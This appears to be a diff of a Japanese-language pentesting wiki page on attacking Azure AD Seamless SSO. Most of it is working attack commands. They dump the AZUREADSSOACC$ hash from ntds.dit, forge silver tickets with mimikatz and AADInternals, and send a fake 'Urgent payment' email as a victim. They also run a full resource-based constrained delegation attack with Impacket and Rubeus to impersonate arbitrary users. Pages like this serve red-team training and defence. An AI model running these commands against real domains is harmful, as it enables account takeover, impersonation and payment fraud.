'C:\temp\registry\SYSTEM' (Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos ``` +> [!NOTE] +> 現在の情報を使用すると、ドメイン内の任意のユーザーのために、前述のようにツール**SeamlessPass**を使用してazureおよびentraidトークンを取得できます。 +> また、`AZUREADSSOACC$`アカウントの代わりに、なりすましたい被害者のパスワードのハッシュを取得するために、前述の技術（およびその他）を使用することもできます。 + +#### Silverチケットの作成 + ハッシュを使用して、**シルバーチケットを生成**できます： ```bash # Get users and SIDs Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier # Create a silver ticket to connect to Azure with mimikatz -Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4: /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"' -mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit +Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4: /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"' +mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit # Create silver ticket with AADInternal to access Exchange Online $kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4" @@ -53,52 +108,77 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com ## Send email Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "

Urgent!


The following bill should be paid asap." ``` -銀チケットを利用するには、以下の手順を実行する必要があります。 +### SilverチケットをFirefoxで使用する + +Silverチケットを利用するには、以下の手順を実行する必要があります： 1. **ブラウザを起動する:** Mozilla Firefoxを起動します。 2. **ブラウザを設定する:** - **`about:config`**に移動します。 -- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication)の設定を指定された[値](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically)に設定します: -- `https://aadg.windows.net.nsatc.net` -- `https://autologon.microsoftazuread-sso.com` +- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication)の設定を指定された[value](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically)にします： +- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com` +- Firefoxの`設定`に移動し、`Microsoft、職場および学校アカウントのためのWindowsシングルサインオンを許可する`を検索して有効にします。 3. **Webアプリケーションにアクセスする:** -- 組織のAADドメインに統合されたWebアプリケーションにアクセスします。一般的な例は[Office 365](https://portal.office.com/)です。 +- 組織のAADドメインと統合されたWebアプリケーションにアクセスします。一般的な例は[login.microsoftonline.com](https://login.microsoftonline.com/)です。 4. **認証プロセス:** - ログイン画面で、ユーザー名を入力し、パスワードフィールドは空白のままにします。 - 続行するには、TABまたはENTERを押します。 -> [!TIP] -> これにより、MFAが有効な場合はバイパスされません +> [!WARNING] +> これは**ユーザーにMFAが有効な場合はバイパスしません**。 -#### dcsyncなしのオプション2 - SeamlessPass +### オンプレミス -> クラウドへのリソースベースの制約付き委任 -この攻撃は、[このブログ記事](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)で説明されているように、**dcsync攻撃なしで**よりステルスに実行することも可能です。そのためには、以下のいずれかが必要です： +攻撃を実行するには、以下が必要です： -- **侵害されたユーザーのTGT:** たとえ持っていなくても、ユーザーが侵害されていれば、[Kekeo](https://x.com/gentilkiwi/status/998219775485661184)や[Rubues](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)などの多くのツールに実装されている偽TGT委任トリックを使用して取得できます。 -- **ゴールデンチケット**: KRBTGTキーを持っていれば、攻撃対象のユーザーに必要なTGTを作成できます。 -- **侵害されたユーザーのNTLMハッシュまたはAESキー:** SeamlessPassは、この情報を使用してドメインコントローラーと通信し、TGTを生成します。 -- **AZUREADSSOACC$アカウントのNTLMハッシュまたはAESキー:** この情報と攻撃対象のユーザーのセキュリティ識別子（SID）を使用して、サービスチケットを作成し、クラウドに認証することが可能です（前の方法で実行されたように）。 +- `WriteDACL` / `GenericWrite` over `AZUREADSSOACC$` +- あなたが制御するコンピュータアカウント（ハッシュとパスワード） - 作成することができます -最後に、TGTを使用して、[**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)ツールを使用することができます。 +1. ステップ1 – 自分のコンピュータアカウントを追加する +- `ATTACKBOX$`を作成し、そのSID/NTLMハッシュを表示します。任意のドメインユーザーがこれを行うことができ、MachineAccountQuota > 0のときに可能です。 +```bash +# Impacket +python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \ +-computer ATTACKBOX$ -password S3cureP@ss ``` -seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt +2. ステップ 2 – `AZUREADSSOACC$` に RBCD を付与 - あなたのマシンの SID を `msDS-AllowedToActOnBehalfOfOtherIdentity` に書き込みます。 +```bash +python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \ +ATTACKBOX$ AZUREADSSOACC$ + +# Or, from Windows: +$SID = (Get-ADComputer ATTACKBOX$).SID +Set-ADComputer AZUREADSSOACC$ ` +-PrincipalsAllowedToDelegateToAccount $SID ``` -FirefoxをシームレスSSOで動作させるためのさらなる情報は[**このブログ記事**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)で見つけることができます。 +3. ステップ 3 – 任意のユーザー (例: alice) の TGS を偽造する +```bash +# Using your machine's password or NTLM hash +python3 getST.py -dc-ip 192.168.1.10 \ +-spn HTTP/autologon.microsoftazuread-sso.com \ +-impersonate alice \ +DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821 -#### ~~クラウド専用ユーザーのためのKerberosチケットの作成~~ +# Produces alice.autologon.ccache -Active Directory管理者がAzure AD Connectにアクセスできる場合、**任意のクラウドユーザーのSIDを設定**することができます。この方法でKerberos **チケット**は**クラウド専用ユーザーのためにも作成**できます。唯一の要件は、SIDが適切な[SID]()であることです。 +#Or, from Windows: +Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 ` +/impersonateuser:alice ` +/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt +``` +あなたは今、**TGSを使用して、なりすましユーザーとしてAzureリソースにアクセスできます。** + + +### ~~クラウド専用ユーザーのためのKerberosチケットの作成~~ + +Active Directory管理者がAzure AD Connectにアクセスできる場合、彼らは**任意のクラウドユーザーのSIDを設定することができます**。この方法で、Kerberos **チケット**は**クラウド専用ユーザーのためにも作成できます**。唯一の要件は、SIDが適切な[SID]()であることです。 > [!CAUTION] > クラウド専用管理ユーザーのSIDを変更することは現在**Microsoftによってブロックされています**。\ > 詳細は[https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)を確認してください。 -### オンプレミス -> クラウドへのリソースベースの制約付き委任 -このアカウントが存在するコンテナまたはOU内のコンピューターアカウント（`AZUREADSSOACC$`）を管理できる人は、**アカウントに対してリソースベースの制約付き委任を構成し、アクセスすることができます**。 -```python -python rbdel.py -u \\ -p azureadssosvc$ -``` + ## 参考文献 - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)